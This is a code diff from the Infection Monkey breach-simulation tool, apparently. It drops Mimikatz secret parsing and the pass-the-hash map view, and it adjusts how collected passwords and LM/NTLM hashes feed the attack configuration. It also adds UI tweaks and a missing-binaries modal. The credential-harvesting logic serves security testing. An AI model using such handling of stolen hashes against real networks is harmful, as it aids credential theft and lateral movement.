+1,6 @@ import logging -from ipaddress import ip_address from monkey_island.cc.encryptor import encryptor -from monkey_island.cc.services import mimikatz_utils from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ @@ -17,7 +15,7 @@ def process_system_info_telemetry(telemetry_json): telemetry_processing_stages = [ process_ssh_info, process_credential_info, - process_mimikatz_and_wmi_info, + process_wmi_info, dispatcher.dispatch_collector_results_to_relevant_processors ] @@ -84,20 +82,18 @@ def replace_user_dot_with_comma(creds): def add_system_info_creds_to_config(creds): for user in creds: - ConfigService.creds_add_username(user) - if 'password' in creds[user]: + ConfigService.creds_add_username(creds[user]['username']) + if 'password' in creds[user] and creds[user]['password']: ConfigService.creds_add_password(creds[user]['password']) - if 'lm_hash' in creds[user]: + if 'lm_hash' in creds[user] and creds[user]['lm_hash']: ConfigService.creds_add_lm_hash(creds[user]['lm_hash']) - if 'ntlm_hash' in creds[user]: + if 'ntlm_hash' in creds[user] and creds[user]['ntlm_hash']: ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash']) -def process_mimikatz_and_wmi_info(telemetry_json): +def process_wmi_info(telemetry_json): users_secrets = {} - if 'mimikatz' in telemetry_json['data']: - users_secrets = mimikatz_utils.MimikatzSecrets. \ - extract_secrets_from_mimikatz(telemetry_json['data'].get('mimikatz', '')) + if 'wmi' in telemetry_json['data']: monkey_id = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid']).get('_id') wmi_handler = WMIHandler(monkey_id, telemetry_json['data']['wmi'], users_secrets) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py index b5f2d24ea..af477ebb4 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py @@ -21,8 +21,9 @@ SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = { class SystemInfoTelemetryDispatcher(object): def __init__(self, collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None): """ - :param collector_to_parsing_functions: Map between collector names and a list of functions that process the output of - that collector. If `None` is supplied, uses the default one; This should be the normal flow, overriding the + :param collector_to_parsing_functions: Map between collector names and a list of functions + that process the output of that collector. + If `None` is supplied, uses the default one; This should be the normal flow, overriding the collector->functions mapping is useful mostly for testing. """ if collector_to_parsing_functions is None: diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py index c5cc7aca2..f5a72405d 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -22,9 +22,13 @@ class SystemInfoTelemetryDispatcherTest(IslandTestCase): bad_empty_telem_json = {} self.assertRaises(KeyError, dispatcher.dispatch_collector_results_to_relevant_processors, bad_empty_telem_json) bad_no_data_telem_json = {"monkey_guid": "bla"} - self.assertRaises(KeyError, dispatcher.dispatch_collector_results_to_relevant_processors, bad_no_data_telem_json) + self.assertRaises(KeyError, + dispatcher.dispatch_collector_results_to_relevant_processors, + bad_no_data_telem_json) bad_no_monkey_telem_json = {"data": {"collectors": {"AwsCollector": "Bla"}}} - self.assertRaises(KeyError, dispatcher.dispatch_collector_results_to_relevant_processors, bad_no_monkey_telem_json) + self.assertRaises(KeyError, + dispatcher.dispatch_collector_results_to_relevant_processors, + bad_no_monkey_telem_json) # Telem JSON with no collectors - nothing gets dispatched good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}} diff --git a/monkey/monkey_island/cc/services/telemetry/processing/utils.py b/monkey/monkey_island/cc/services/telemetry/processing/utils.py index 466b81bf1..df898945e 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/utils.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/utils.py @@ -1,4 +1,4 @@ -from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.services.edge.edge import EdgeService from monkey_island.cc.services.node import NodeService @@ -10,7 +10,10 @@ def get_edge_by_scan_or_exploit_telemetry(telemetry_json): if dst_node is None: dst_node = NodeService.get_or_create_node(dst_ip, dst_domain_name) - return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"]) + src_label = NodeService.get_label_for_endpoint(src_monkey["_id"]) + dst_label = NodeService.get_label_for_endpoint(dst_node["_id"]) + + return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"], src_label, dst_label) def get_tunnel_host_ip_from_proxy_field(telemetry_json): diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index a802aabf1..413a5f307 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -69,7 +69,7 @@ class WMIHandler(object): base_entity = self.build_entity_document(user) else: base_entity = self.build_entity_document(user, self.monkey_id) - base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm') + base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm_hash') base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam') base_entity['secret_location'] = [] diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py index 855bc928c..79c6000ab 100644 --- a/monkey/monkey_island/cc/testing/IslandTestCase.py +++ b/monkey/monkey_island/cc/testing/IslandTestCase.py @@ -1,6 +1,7 @@ import unittest import monkey_island.cc.environment.environment_singleton as env_singleton from monkey_island.cc.models import Monkey +from monkey_island.cc.models.edge import Edge from monkey_island.cc.models.zero_trust.finding import Finding @@ -12,6 +13,10 @@ class IslandTestCase(unittest.TestCase): def clean_monkey_db(): Monkey.objects().delete() + @staticmethod + def clean_edge_db(): + Edge.objects().delete() + @staticmethod def clean_finding_db(): Finding.objects().delete() diff --git a/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js b/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js index e09e93124..e09040b01 100644 --- a/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js @@ -45,7 +45,7 @@ export const basic_options = { springLength: 100, springConstant: 0.025 }, - minVelocity: 0.3, + minVelocity: 0.7, maxVelocity: 25 } }; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js b/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js deleted file mode 100644 index af102c57e..000000000 --- a/monkey/monkey_island/cc/ui/src/components/pages/PassTheHashMapPage.js +++ /dev/null @@ -1,52 +0,0 @@ -import React from 'react'; -import {ReactiveGraph} from 'components/reactive-graph/ReactiveGraph'; -import AuthComponent from '../AuthComponent'; -import {optionsPth} from '../map/MapOptions'; -import {Col} from 'react-bootstrap'; - -class PassTheHashMapPageComponent extends AuthComponent { - constructor(props) { - super(props); - this.state = { - graph: props.graph, - selected: null, - selectedType: null - }; - } - - events = { - select: event => this.selectionChanged(event) - }; - - selectionChanged(event) { - if (event.nodes.length === 1) { - let displayedNode = this.state.graph.nodes.find( - function (node) { - return node['id'] === event.nodes[0]; - }); - this.setState({selected: displayedNode, selectedType: 'node'}) - } else if (event.edges.length === 1) { - let displayedEdge = this.state.graph.edges.find( - function (edge) { - return edge['id'] === event.edges[0]; - }); - this.setState({selected: displayedEdge, selectedType: 'edge'}); - } else { - this.setState({selected: null, selectedType: null}); - } - } - - render() { - return ( -
- -
- -
- -
- ); - } -} - -export default PassTheHashMapPageComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js index 366d9860a..fb51b299e 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage.js @@ -8,14 +8,16 @@ import {FontAwesomeIcon} from '@fortawesome/react-fontawesome'; import {faClipboard} from '@fortawesome/free-solid-svg-icons/faClipboard'; import {faCheck} from '@fortawesome/free-solid-svg-icons/faCheck'; import {faSync} from '@fortawesome/free-solid-svg-icons/faSync'; +import {faInfoCircle} from "@fortawesome/free-solid-svg-icons/faInfoCircle"; +import {faExclamationTriangle} from "@fortawesome/free-solid-svg-icons/faExclamationTriangle"; import {Link} from 'react-router-dom'; import AuthComponent from '../AuthComponent'; import AwsRunTable from '../run-monkey/AwsRunTable'; +import MissingBinariesModal from '../ui-components/MissingBinariesModal'; + import '../../styles/MonkeyRunPage.scss'; -import {faInfoCircle} from "@fortawesome/free-solid-svg-icons/faInfoCircle"; -import {faExclamationTriangle} from "@fortawesome/free-solid-svg-icons/faExclamationTriangle"; const loading_css_override = css` display: block; @@ -42,8 +44,12 @@ class RunMonkeyPageComponent extends AuthComponent { awsMachines: [], isLoadingAws: true, isErrorWhileCollectingAwsMachines: false, - awsMachineCollectionErrorMsg: '' + awsMachineCollectionErrorMsg: '', + showModal: false, + errorDetails: '' }; + + this.closeModal = this.closeModal.bind(this); } componentDidMount() { @@ -132,6 +138,13 @@ class RunMonkeyPageComponent extends AuthComponent { runningOnIslandState: 'installing' }); } else { + /* If Monkey binaries are missing, change the state accordingly */ + if (res['error_text'].startsWith('Copy file failed')) { + this.setState({ + showModal: true, + errorDetails: res['error_text']} + ); + } this.setState({ runningOnIslandState: 'not_running' }); @@ -288,6 +301,12 @@ class RunMonkeyPageComponent extends AuthComponent { ) } + closeModal = () => { + this.setState({ + showModal: false + }) + }; + render() { return ( + { // TODO: implement button functionality /* diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index d6872ba32..1f04b4d2a 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -422,10 +422,6 @@ class ReportPageComponent extends AuthComponent { -
- {this.generateReportPthMap()} -
-
diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js index c8e217d6b..94c3d4a0e 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/ScannedServers.js @@ -44,11 +44,10 @@ class ScannedServersComponent extends React.Component { return ( <>

- The Monkey discovered - {scannedServicesAmount} - open {Pluralize('service', scannedServicesAmount)} - on - {scannedMachinesCount} + The Monkey discovered  + {scannedServicesAmount} open  + {Pluralize('service', scannedServicesAmount)} on  + {scannedMachinesCount}  {Pluralize('machine', scannedMachinesCount)}:

diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/MissingBinariesModal.js b/monkey/monkey_island/cc/ui/src/components/ui-components/MissingBinariesModal.js new file mode 100644 index 000000000..c73094fb6 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/MissingBinariesModal.js @@ -0,0 +1,63 @@ +import {Modal} from 'react-bootstrap'; +import React from 'react'; +import {GridLoader} from 'react-spinners'; + + +class MissingBinariesModal extends React.PureComponent { + + constructor(props) { + super(props); + + this.state = { + showModal: this.props.showModal, + errorDetails: this.props.errorDetails + }; + } + + componentDidUpdate(prevProps) { + if (this.props !== prevProps) { + this.setState({ + showModal: this.props.showModal, + errorDetails: this.props.errorDetails + }) + } + } + + render = () => { + return ( + this.props.onClose()}> + +

+
Uh oh...
+

+
+

+ + Some Monkey binaries are not found where they should be...
+ You can download the files from here, + at the bottommost section titled "Assets", and place them under the directory monkey/monkey_island/cc/binaries. +

+
+
+

+ Error Details +

+
+ 
+              {this.state.errorDetails}
+
+
+
+ +
+ + + ) + }; + +} + +export default MissingBinariesModal;